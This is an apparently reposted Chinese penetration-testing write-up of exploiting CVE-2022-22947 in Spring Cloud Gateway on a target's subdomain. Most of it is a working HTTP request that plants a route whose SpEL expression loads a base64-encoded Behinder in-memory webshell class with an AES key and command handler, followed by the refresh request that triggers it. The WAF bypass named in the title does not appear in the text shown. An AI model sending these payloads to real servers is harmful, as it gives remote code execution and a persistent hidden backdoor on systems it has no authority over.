Spring Cloud Gateway 远程代码执行WAF绕过(CVE-2022-22947)

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2023年10月31日01:42:27评论132 views字数 12506阅读41分41秒阅读模式

前言

实战Spring Cloud Gateway 路由刷新被拦截->绕过waf‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

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1‍‍‍‍

某次打点的过程中,目标是官网。‍

Spring Cloud Gateway 远程代码执行WAF绕过(CVE-2022-22947)

进行了常规的漏洞测试，未发现获取到系统权限，于是在鹰图上寻找子域名，发现了一个使用springboot框架的接口站点‍

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Spring Cloud Gateway 远程代码执行WAF绕过(CVE-2022-22947)

对该站点进行敏感端点测试后，发现存在Spring Cloud Gateway 远程代码执行漏洞，于是尝试写入内存马，写入成功：

Spring Cloud Gateway 远程代码执行WAF绕过(CVE-2022-22947)

冰蝎内存马代码如下：

POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: 127.0.0.1:8080 Accept-Encoding: gzip, deflate Accept: / Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 11039{ "predicates":[{"name": "Path", "args":{"_genkey_0":"/gmem/**"} } ], "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBeAoADQC2BwC3CgACALYJABIAuAoAAgC5CQASALoKAAIAuwoAEgC8CQASAL0KAA0AvggAcgcAvwcAwAcAwQcAwgoADADDCgAOAMQHAMUIAJ8HAMYHAMcKAA8AyAsAyQDKCgASALYKAA4AywgAzAcAzQoAGwDOCADPBwDQBwDRCgDSANMKANIA1AoAHgDVBwDWCACBBwCECQDXANgKANcA2QgA2goA2wDcBwDdCgAVAN4KACoA3woA2wDgCgDbAOEIAOIKAOMA5AoAFQDlCgDjAOYHAOcKAOMA6AoAMwDpCgAzAOoKABUA6wgA7AoADADtCADuCgAMAO8IAPAIAPEKAAwA8ggA8wgA9AgA9QgA9ggA9wsAFAD4EgAAAP4KAP8BAAcBAQkBAgEDCgBHAQQKABsBBQsBBgEHCgASAQgKABIBCQkAEgEKCAELCwEMAQ0KABIBDgsBDAEPCAEQBwERCgBUALYKAA0BEgoAFQETCgANALsKAFQBFAoAEgEVCgAVARYKAP8BFwcBGAoAXQC2CABlCAEZAQAFc3RvcmUBAA9MamF2YS91dGlsL01hcDsBAAlTaWduYXR1cmUBADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEABHBhc3MBABJMamF2YS9sYW5nL1N0cmluZzsBAANtZDUBAAJ4YwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAXTGNvbS9leGFtcGxlL0dNZW1TaGVsbDsBAAhkb0luamVjdAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVcmVnaXN0ZXJIYW5kbGVyTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAANtc2cBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEcGF0aAEADVN0YWNrTWFwVGFibGUHAM0HAMcBABBNZXRob2RQYXJhbWV0ZXJzAQALZGVmaW5lQ2xhc3MBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAApjbGFzc2J5dGVzAQACW0IBAA51cmxDbGFzc0xvYWRlcgEAGUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAZtZXRob2QBAApFeGNlcHRpb25zAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQABcwEAAW0BAAFaBwDFBwEaAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAB1MamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEAA3JldAEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAJicwEABXZhbHVlAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAANjbWQBAF0oTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eTsBAAxidWZmZXJTdHJlYW0BAAJleAEABXBkYXRhAQAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTsBABlSdW50aW1lVmlzaWJsZUFubm90YXRpb25zAQA1TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9Qb3N0TWFwcGluZzsBAAQvY21kAQAMbGFtYmRhJGNtZCQwAQBHKExvcmcvc3ByaW5nZnJhbWV3b3JrL3V0aWwvTXVsdGlWYWx1ZU1hcDspTHJlYWN0b3IvY29yZS9wdWJsaXNoZXIvTW9ubzsBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEAAmlkAQAEZGF0YQEAKExvcmcvc3ByaW5nZnJhbWV3b3JrL3V0aWwvTXVsdGlWYWx1ZU1hcDsBAAZyZXN1bHQBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7BwC3AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAOR01lbVNoZWxsLmphdmEMAGkAagEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABlAGYMARsBHAwAaABmDAEdAR4MAGcAkgwAZwBmDAEfASABAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQBBb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8MASEBIgwBIwEkAQAVY29tL2V4YW1wbGUvR01lbVNoZWxsAQAwb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmVyL1NlcnZlcldlYkV4Y2hhbmdlAQAQamF2YS9sYW5nL1N0cmluZwwBJQEoBwEpDAEqASsMASwBLQEAAm9rAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBLgBqAQAFZXJyb3IBABdqYXZhL25ldC9VUkxDbGFzc0xvYWRlcgEADGphdmEvbmV0L1VSTAcBLwwBMAExDAEyATMMAGkBNAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgcBNQwBNgCZDAE3ATgBAANBRVMHARoMATkBOgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMMATsBPAwAaQE9DAE+AT8MAUABQQEAA01ENQcBQgwBOQFDDAFEAUUMAUYBRwEAFGphdmEvbWF0aC9CaWdJbnRlZ2VyDAFIATwMAGkBSQwBHQFKDAFLAR4BABBqYXZhLnV0aWwuQmFzZTY0DAFMAU0BAApnZXRFbmNvZGVyDAFOASIBAA5lbmNvZGVUb1N0cmluZwEAFnN1bi5taXNjLkJBU0U2NEVuY29kZXIMAU8BUAEABmVuY29kZQEACmdldERlY29kZXIBAAZkZWNvZGUBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyAQAMZGVjb2RlQnVmZmVyDAFRAVIBABBCb290c3RyYXBNZXRob2RzDwYBUxABVA8HAVUQAKkMAVYBVwcBWAwBWQFaAQAnb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5BwFbDAFcAV0MAGkBXgwBXwEeBwFgDAFhAVQMAJwAnQwAiQCKDABhAGIBAAdwYXlsb2FkBwFiDAFjAVQMAIEAggwBZAFlAQAKcGFyYW1ldGVycwEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAFmAWcMAWgBaQwBagE8DACVAJYMAWgBSgwBawFsAQARamF2YS91dGlsL0hhc2hNYXABABAzYzZlMGI4YTljMTUyMjRhAQATamF2YXgvY3J5cHRvL0NpcGhlcgEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEABXBhdGhzAQAHQnVpbGRlcgEADElubmVyQ2xhc3NlcwEAYChbTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyOwEASW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXIBAAVidWlsZAEARSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQApKFtMamF2YS9uZXQvVVJMO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAYoW0IpW0IBABtqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3QBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQALZ2V0Rm9ybURhdGEBAB8oKUxyZWFjdG9yL2NvcmUvcHVibGlzaGVyL01vbm87CgFtAW4BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoAEgFvAQAFYXBwbHkBADYoTGNvbS9leGFtcGxlL0dNZW1TaGVsbDspTGphdmEvdXRpbC9mdW5jdGlvbi9GdW5jdGlvbjsBABtyZWFjdG9yL2NvcmUvcHVibGlzaGVyL01vbm8BAAdmbGF0TWFwAQA8KExqYXZhL3V0aWwvZnVuY3Rpb24vRnVuY3Rpb247KUxyZWFjdG9yL2NvcmUvcHVibGlzaGVyL01vbm87AQAjb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXMBAAJPSwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czsBADooTGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOylWAQAKZ2V0TWVzc2FnZQEAJm9yZy9zcHJpbmdmcmFtZXdvcmsvdXRpbC9NdWx0aVZhbHVlTWFwAQAIZ2V0Rmlyc3QBAA1qYXZhL3V0aWwvTWFwAQADZ2V0AQADcHV0AQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9CeXRlQXJyYXkBAARqdXN0AQAxKExqYXZhL2xhbmcvT2JqZWN0OylMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwcBcAwBcQF0DACoAKkBACJqYXZhL2xhbmcvaW52b2tlL0xhbWJkYU1ldGFmYWN0b3J5AQALbWV0YWZhY3RvcnkHAXYBAAZMb29rdXABAMwoTGphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlcyRMb29rdXA7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RUeXBlO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RUeXBlOylMamF2YS9sYW5nL2ludm9rZS9DYWxsU2l0ZTsHAXcBACVqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwAQAeamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGVzACEAEgANAAAABAAJAGEAYgABAGMAAAACAGQACQBlAGYAAAAJAGcAZgAAAAkAaABmAAAACgABAGkAagABAGsAAAAvAAEAAQAAAAUqtwABsQAAAAIAbAAAAAYAAQAAABYAbQAAAAwAAQAA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'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/gmem')}" } }], "uri": "http://test.com" }

刷新路由，此时将触发并执行SpEL表达式。

POST /actuator/gateway/refresh HTTP/1.1Host: <IP:Port>Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0